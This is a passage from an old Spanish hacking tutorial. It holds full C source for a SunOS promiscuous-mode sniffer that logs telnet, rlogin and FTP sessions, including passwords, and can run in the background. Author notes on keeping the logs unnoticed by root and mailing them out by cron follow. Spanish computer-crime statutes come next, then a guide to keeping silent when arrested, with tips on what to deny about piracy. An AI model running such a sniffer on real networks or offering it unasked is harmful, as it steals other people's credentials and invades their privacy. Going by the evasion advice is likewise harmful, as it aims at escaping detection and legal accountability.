fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));

fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe-

>SRCport));

fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));

fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",

NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);

fprintf(LOG," DATA: ");

{ register u_int i = CLe->Length;

register u_char *p = CLe->Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

fprintf(LOG,"\n-- \n");

fflush(LOG);

if(CLe->Next != NULL)

CLe->Next->Last = CLe->Last;

if(CLe->Last != NULL)

CLe->Last->Next = CLe->Next;

else

CLroot = CLe->Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { \

time_t tm; \

time(&tm); \

if(LastTIME<tm) { \

register struct CREC *CLe,*CLt = CLroot; \

LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \

while(CLe=CLt) { \

CLt=CLe->Next; \

if(CLe->Time <tm) \

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \

} \

} \

}

void filter(cp, pktlen)

register char *cp;

register u_int pktlen;

{

register struct ip *ip;

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen-=8;

}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

return;

}

/* ugh, gotta do an alignment :-( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;

if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||

(TCPD == IPPORT_LOGINSERVER) ||

(TCPD == IPPORT_FTP)

)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));

register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);

fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));

fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)

if( (CLm->Length + length) < MAXBUFLEN ) {

ADDDATA_NODE( CLm, p,length);

} else {

END_NODE( CLm, p,length, "DATA LIMIT");

}

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char

*)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

}

} else {

if(TCPFL(TH_SYN)) {

ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/* signal handler

*/

void death()

{ register struct CREC *CLe;

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());

fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

/* opens network interface, performs ioctls and reads from it,

* passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq ifr;

struct timeval timeout;

u_int chunksize = CHUNKSIZE;

u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)

Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)

Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)

Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp = (char *)&chunksize;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(ifr);

si.ic_dp = (char *)&ifr;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)

Pexit(1,"Eth: ioctl (I_FLUSH)");

}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {

register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp->nhb_totlen;

filter(cp, (u_long)hdrp->nhb_msglen);

}

}

Pexit((-1),"Eth: read");

}

/* Authorize your proogie,generate your own password and uncomment here */

/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt,"(%s)UP? ",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char **argv;

{

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0] == '-')) {

register char ch = argv[ac++][1];

switch(toupper(ch)) {

case 'I': device=argv[ac++];

break;

case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))

Zexit(1,"Output file cant be opened\n");

break;

case 'B': backg=1;

break;

case 'D': debug=1;

break;

default : fprintf(ERR,

"Usage: %s [-b] [-d] [-i interface] [-f file]\n",

ProgName);

exit(1);

}

}

if(!device) {

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)

Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);

ifc.ifc_buf = cbuf;

if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)

Pexit(1,"Eth: ioctl");

close(s);

device = ifc.ifc_req->ifr_name;

}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);

fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",

(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM,death);

signal(SIGKILL,death);

signal(SIGQUIT,death);

if(backg && debug) {

fprintf(ERR,"[Cannot bg with debug on]\n");

backg=0;

}

if(backg) {

register int s;

if((s=fork())>0) {

fprintf(ERR,"[pid %d]\n",s);

exit(0);

} else if(s<0)

Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) {

ioctl(s,TIOCNOTTY,(char *)NULL);

close(s);

}

}

fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());

fflush(LOG);

do_it();

}

 

Lo que se ha de tener en cuenta cuando instalas un sniffer en una maquina es

que como es logico, si hay mucho trafico de paquetes en esa maquina y no

seleccionais bien la forma de filtrar que info queda en el log y cual no, se

pueden generar ficheros de logs grandisimos por lo que este es un factor muy a

tener en cuenta porque a veces si te equivocas.. se crea un fichero grandisimo,

el root se percata y a la mierda todo el trabajo :o(

Dependiendo de la makina y su trafico puede ser suficiente mirar los logs cada

semana mas o menos o cada dos. Tambien, si eres comodo puedes usar un

cronjob que te mailee los logs, pero eso kanta mas :)

 

11.- LEGALIDAD

 

Para acabar el articulo, creo que debo de acabar con esto ya que siempre hay

que recordar que todo esto es ilegal... luego no digais que no estais avisados

aunque tambien depende de lo que hagais. En realidad, opino que por entrar

en una maquina y hacer cuatro cosas sin hacer da¤o a nadie ni haciendoles

perder datos, ni haciendolo por motivos de lucro o para destrozar cosas, esto

no deberia ser ilegal pero en fin.. la guardia civil en lugar de dedicarse a

perseguir a toda la mala gente que hay por ahi, se dedica a jodernos a

nosotros.. la vida es asi :o(

Sinceramente, no se si este codigo penal es el que nos interesa a nosotros ya

que de leyes no tengo ni idea, pero lo he pillado por ahi y creo que es

interesante que por lo menos le deis una leida:

Ademas adjunto un texto como sobre comportarse si pasa algo que aunque

esta orientado al caso de pirateria de software, creo que es sencilla su

extrapolacion al caso que nos ocupa.

 

NUEVO CODIGO PENAL

 

DELITOS RELACIONADOS CON LAS TECNOLOGIAS DE LA INFORMACION

 

TITULO X

Delitos contra la intimidad, el derecho a la propia imagen y la inviolabilidad del

domicilio

CAPITULO I

Del descubrimiento y revelacion de secretos

Articulo 197

 

1. El que para descubrir los secretos o vulnerar la intimidad de otro, sin su

consentimiento, se apodere de sus papeles, cartas, mensajes de correo

electronico o cualesquiera otros documentos o efectos personales o intercepte

sus telecomunicaciones o utilice artificios tecnicos de escucha, transmision,

grabacion o reproduccion del sonido o de la imagen, o de cualquier otra se¤al

de comunicacion, sera castigado con las penas de prision de uno a cuatro a¤os

y multa de doce a veinticuatro meses.

 

2. Las mismas penas se impondran al que, sin estar autorizado, se apodere,

utilice o modifique, en perjuicio de tercero, datos reservados de caracter

personal o familiar de otro que se hallen registrados en ficheros o soportes

informaticos, electronicos o telematicos, o en cualquier otro tipo de archivo o

registro publico o privado. Iguales penas se impondran a quien, sin estar

autorizado, acceda por cualquier medio a los mismos y a quien los altere o

utilice en perjuicio del titular de los datos o de un tercero.

 

3. Se impondra la pena de prision de dos a cinco a¤os si se difunden, revelan o

ceden a terceros los datos o hechos descubiertos o las imagenes captadas a

que se refieren los numeros anteriores. Sera castigado con las penas de prision

de uno a tres a¤os y multa de doce a veinticuatro meses, el que, con

conocimiento de su origen ilicito y sin haber tomado parte en su

descubrimiento, realizare la conducta descrita en el parrafo anterior.

 

4. Si los hechos descritos en los apartados 1 y 2 de este articulo se realizan por

las personas encargadas o responsables de los ficheros, soportes informaticos,

electronicos o telematicos, archivos o registros, se impondra la pena de prision

de tres a cinco a¤os, y si se difunden, ceden o revelan los datos reservados, se

impondra la pena en su mitad superior.

 

5. Igualmente, cuando los hechos descritos en los apartados anteriores afecten

a datos de caracter personal que revelen la ideologia, religion, creencias, salud,

origen racial o vida sexual, o la victima fuere un menor de edad o un incapaz,

se impondran las penas previstas en su mitad superior.

 

6. Si los hechos se realizan con fines lucrativos, se impondran las penas

respectivamente previstas en los apartados 1 al 4 de este articulo en su mitad

superior. Si ademas afectan a datos de los mencionados en el apartado 5, la

pena a imponer sera la de prision de cuatro a siete a¤os.

 

Articulo 198

 

La autoridad o funcionario publico que, fuera de los casos permitidos por la

Ley, sin mediar causa legal por delito, y prevaliendose de su cargo, realizare

cualquiera de las conductas descritas en el articulo anterior, sera castigado con

las penas respectivamente previstas en el mismo, en su mitad superior y,

ademas, con la de inhabilitacion absoluta por tiempo de seis a doce a¤os.

 

Articulo 199

 

1. El que revelare secretos ajenos, de los que tenga conocimiento por razon de

su oficio o sus relaciones laborales, sera castigado con la pena de prision de

uno a tres a¤os y multa de seis a doce meses.

2. El profesional que, con incumplimiento de su obligacion de sigilo o reserva,

divulgue los secretos de otra persona, sera castigado con la pena de prision de

uno a cuatro a¤os, multa de doce a veinticuatro meses e inhabilitacion especial

para dicha profesion por tiempo de dos a seis a¤os.

 

Articulo 200

 

Lo dispuesto en este capitulo sera aplicable al que descubriere, revelare o

cediere datos reservados de personas juridicas, sin el consentimiento de sus

representantes, salvo lo dispuesto en otros preceptos de este codigo.

 

Articulo 201

 

1. Para proceder por los delitos previstos en este capitulo sera necesaria

denuncia de la persona agraviada o

de su representante legal. Cuando aquella sea menor de edad, incapaz o una

persona desvalida, tambien podra denunciar el Ministerio Fiscal.

 

2. No sera precisa la denuncia exigida en el apartado anterior para proceder

por los hechos descritos en el articulo 198 de este Codigo, ni cuando la

comision del delito afecte a los intereses generales o a una pluralidad de

personas.

 

3. El perdon del ofendido o de su representante legal, en su caso, extingue la

accion penal o la pena impuesta, sin perjuicio de lo dispuesto en el segundo

parrafo del numero 4§ del articulo 130.

 

 

Articulo 248.

 

 

1.- Cometen estafa los que, con animo de lucro, utilizaren enga¤o bastante

para producir error en otro, induciendolo a realizar un acto de disposicion en

perjuicio propio o ajeno.

 

2.- Tambien se consideran reos de estafa los que, con animo de lucro, y

valiendose de alguna manipulacion informatica o artificio semejante consigan la

transferencia no consentida de cualquier activo

patrimonial en perjuicio de tercero.

 

 

Articulo 263.

 

El que causare da¤os en propiedad ajena no comprendidos en otros Titulos de

este Codigo, sera castigado con la pena de multa de seis a veinticuatro meses,

atendidas la condicion economica de la victima y la cuantia del da¤o, si este

excediera de cincuenta mil pesetas.

 

 

Articulo 264.

 

 

1.- Sera castigado con la pena de prision de uno a tres a¤os y multa de doce a

veinticuatro meses el que causare da¤os expresados en el articulo anterior, si

concurriera alguno de los supuestos siguientes:

 

1§.- Que se realicen para impedir el libre ejercicio de la autoridad o en

venganza de sus determinaciones, bien se cometiere el delito contra

funcionarios publicos, bien contra particulares que, como testigos o de

cualquier otra manera, hayan contribuido o pueden contribuir a la ejecucion o

aplicacion de las Leyes o disposiciones generales.

 

2§.-Que se cause por cualquier medio infeccion o contagio de ganado.

 

3§.-Que se empleen sustancias venenosas o corrosivas.

 

4§.- Que afecten a bienes de dominio o uso publico o comunal.

 

5§.- Que arruinen al perjudicado o se le coloque en grave situacion

economica.

 

2.- La misma pena se impondra al que por cualquier medio destruya,

altere, inutilice o de cualquier otro modo da¤e los datos, programas o

documentos electronicos ajenos contenidos en redes, soportes o sistemas

informaticos.

 

 

CAPITULO XI

 

 

De los delitos relativos a la propiedad intelectual e industrial, al mercado y a los

consumidores

 

 

Seccion 1¦.- DE LOS DELITOS RELATIVOS A LA PROPIEDAD

INTELECTUAL.

 

 

Articulo 270.

 

Sera castigado con la pena de prision de seis meses a dos a¤os o de

multa de seis a veinticuatro meses quien, con animo de lucro y en perjuicio de

tercero, reproduzca, plagie, distribuya o comunique publicamente, en todo o en

parte, una obra literaria, artistica o cientifica, o su transformacion, interpretacion

o ejecucion artisitica fijada en cualquier tipo de soporte o comunicada a traves

de cualquier medio, sin la autorizacion de los titulares de los correspondientes

derechos de propiedad intelectual o de sus cesionarios.

La misma pena se impondra a quien intencionadamente importe, exporte

o almacene ejemplares de dichas obras o producciones o ejecuciones sin la

referida autorizacion.

Sera castigada tambien con la misma pena la fabricacion, puesta en

circulacion y tenencia de cualquier medio especificamente destinada a facilitar

la supresion no autorizada o la neutralizacion de cualquier dispositivo tecnico

que se haya utilizado para proteger programas de ordenador.

 

 

Articulo 278.

 

1.- El que, para descubrir un secreto de empresa se apoderare por cualquier

medio de datos, documentos escritos o electronicos, soportes informaticos u

otros objetos que se refieran al mismo, o empleare alguno de los medios o

instrumentos se¤alados en el apartado 1 del articulo 197, sera castigado con la

pena de prision de dos a cuatro a¤os y multa de doce a veinticuatro meses.

 

2.- Se impondra la pena de prision de tres a cinco a¤os y multa de doce a

veinticuatro meses si se difundieren, revelaren o cedieren a terceros los

secretos descubiertos.

 

3.- Lo dispuesto en el presente articulo se entendera sin perjuicio de las penas

que pudieran corresponder por el apoderamiento o destruccion de los soportes

informaticos.

 

 

 

CAPITULO III

 

Disposicion general

 

 

Articulo 400.

 

La fabricacion o tenencia de utiles, materiales , instrumentos, sustancias,

maquinas, programas de ordenador o aparatos, especificamente destinados a

la comision de los delitos descritos en los capitulos anteriores, se castigaran

con la pena se¤alada en cada paso para los autores.

 

 

Articulo 536.

 

La autoridad, funcionario publico o agente de estos que, mediando causa por

delito, interceptare las telecomunicaciones o utilizare artificios tecnicos de

escuhas, transmision, grabacion o reproduccion del sonido, de la imagen o de

cualquier otra se¤al de comunicacion, con violacion de las garantias

constitucionales o legales, incurrira en la pena de inhabilitacion especial para

empleo o cargo publico de dos a seis a¤os.

Si divulgare o revelare la informacion obtenida, se impondran las penas de

inhabilitacion especial, en su mitad superior y, ademas la de multa de seis a

dieciocho meses.

 

Ademas adjunto un texto de shooting que he pillado en la red y que da algunos

consejos... aunque en principio se refiere a la venta de software ilegal, lo he

adjuntado ya que su extrapolacion al caso que nos ocupa es sencilla y quiza

algun dia nos haga falta :o(

 

Establece el articulo 520 de la Ley de Enjuiciamiento Criminal. que toda

persona detenida o presa sera informada, de modo que le sea comprensible, y

de forma inmediata, de los hechos que se le imputan y las razones motivadoras

de su privacion de libertad, asi como de los derechos que le asisten y

especialmente de los siguientes:

Derecho a guardar silencio no declarando si no quiere, a no contestar alguna o

algunas de las preguntas que le formulen, o a manifestar que solo declarara

ante el Juez. La mejor forma de ejercitar este derecho es no decir nada. Asi de

sencillo y aunque parezca una perogrullada, desde el principio, desde el mismo

momento de la detencion, nada, absolutamente nada.

La policia querra saber donde estan los Cds, la agenda del detenido, a quien le

ha comprado y vendido este el material, etc. En ese momento, lo mejor que

puede hacer el detenido es sonreir... y guardar silencio.

Pese a lo que se le hace creer al ciudadano desde la escuela, el detenido no

tiene ninguna obligacion de colaborar con la policia, y lo que diga solo le puede

perjudicar.

No esta de mas comentar en este punto que cualquier intento de sonsacar al

detenido con cualquier tipo de coaccion, por suave que parezca, debe ser

denunciado en la primera declaracion ante el Juez. Es muy posible que se

informe al detenido que si declara, lo dejaran inmediatamente en libertad, y que

si no lo hace, detendran a sus amigos o familiares, o avisaran a su empresa.

Teniendo en cuenta que el detenido en este tipo de delitos suele ser joven e

inexperto, este tipo de presiones son intolerables y deben denunciarse a la

primera oportunidad.

Derecho a no declarar contra si mismo y a no confesarse culpable. Esta

intimamente relacionado con el derecho anterior, del que trae causa.

Derecho a designar Abogado y a solicitar su presencia para que asista a las

diligencias policiales y judiciales de declaracion e intervenga en todo

reconocimiento de identidad de que sea objeto.

Si el detenido o preso no designara Abogado, se procedera a la designacion de

oficio. No es imprescindible avisar al abogado de confianza, dado que en el

supuesto de no declarar, es indiferente que a dicha negativa asista un letrado

particular, o el de oficio Lo que sucede es que en el caso de cambiar

posteriormente de abogado, se incrementan los gastos, dado que se ha de

abonar la minuta al primer designado. Una vez firmada la negativa a declarar,

el detenido tiene derecho a una entrevista a solas con el letrado, para preparar

la declaracion ante el Juez, en la que si es conveniente asesorarse con alguien

que entienda de informatica.

Derecho a que se ponga en conocimiento del familiar o persona que desee, el

hecho de la detencion y el lugar de custodia en que se halle en cada momento.

Los extranjeros tendran derecho a que las circunstancias *anteriores se

comuniquen a la Oficina Consular de su pais.

Deben olvidarse las vergenzas, ya que esta en juego algo mas importante que

una bronca familiar. Cuanta mas gente conozca la detencion, mejor, asi que la

familia debe avisar a todos los amigos que figuren en la agenda del detenido,

antes de que los avise la policia. Otra razon para avisar a la familia es que en

caso que la detencion se alargue innecesariamente, se puede recurrir al

Habeas Corpus, una peticion ante el Juez de Guardia para que se ponga

inmediatamente al detenido en presencia de la autoridad judicial, lo que a

veces puede ser necesario, sobre todo si se trata de jovenes de animo debil...

Derecho a ser asistido gratuitamente por un interprete.

Cuando se trate de extranjero que no comprenda o no hable el castellano. En

este punto el detenido podria ponerse a exigir hablar en el idioma propio, lo que

es perfectamente inutil cuando no se piensa declarar...

Derecho a ser reconocido por el Medico Forense o su sustituto legal y,en su

defecto,por el de la Institucion en que se encuentre, o por cualquier otro

dependiente del Estado o de otras Administraciones Publicas.

Aprovechando que no tiene nada mejor que hacer, es conveniente que el

detenido insista en que venga el medico. Asi, ademas de pasar mas

entretenidas las horas de la detencion, en el supuesto de que venga el medico

ya hay un primer diagnostico que informa que el detenido entro sin lesiones en

comisaria. Si dicha situacion cambia, alguien tendra que dar explicaciones.

Una vez ha pasado el miedo de la primera fase de la detencion, se podra

reflexionar tranquilamente sobre que declarar ante el Juez. Cada caso es

diferente, y el mas preparado para dise¤ar la estrategia de ese momento sera

el abogado que libremente escoja el detenido. En cualquier caso, no esta de

mas recordar que para que exista delito por copia ilegal de software, esta debe

ser con animo de lucro y en perjuicio de tercero. A sensu contrario, pueden

deducirse de ello dos consejos, a saber:

-Nunca debe reconocerse haber cobrado o pagado por una copia

-Debe proclamarse solemnemente que de no copiar el software, tampoco lo

hubiesemos comprado, lo que descarta el perjuicio del tercero, que no podra

en tal caso argumentar que ha perdido una venta. Ya que Bill Gates no es

altruista, seamoslo nosotros con nuestros semejantes...

 

12.- DESPEDIDA

 

Bien, creo que el texto ha quedado cumplidito y que cubre los aspectos basicos

del hacking... espero que os sirva de algo ya que me he tenido que pegar una

curradilla para escribirlo :)

 

Agradecimientos a Zebal (!H) por dejarme reproducir su comparativa de

crackeadores de passwords .. thx :)

Por cierto, este texto esta en formato .txt, en formato .doc, en formato .html y

en alguno mas :).. asi que si tienes problemas para leer el formato que tienes,

puedes mailearme para pedirmelo en otro formato.

Si kieres ponerte en contacto conmigo ( Daemon) para cualquier cosa ( dudas,

sugerencias e incluso dinero XDDD) puedes escribir a:

Daemond@usa.net

Dillet@usa.net

____________________________________________________________________________

Texto bajado de: http://www.hakim.ws

Hacking, Phreaking, Virus, Cracking, Troyanos, Anarquia, Lockpicking, MP3s, ICQ, IRC, Paginas Hackeadas... todo en español

___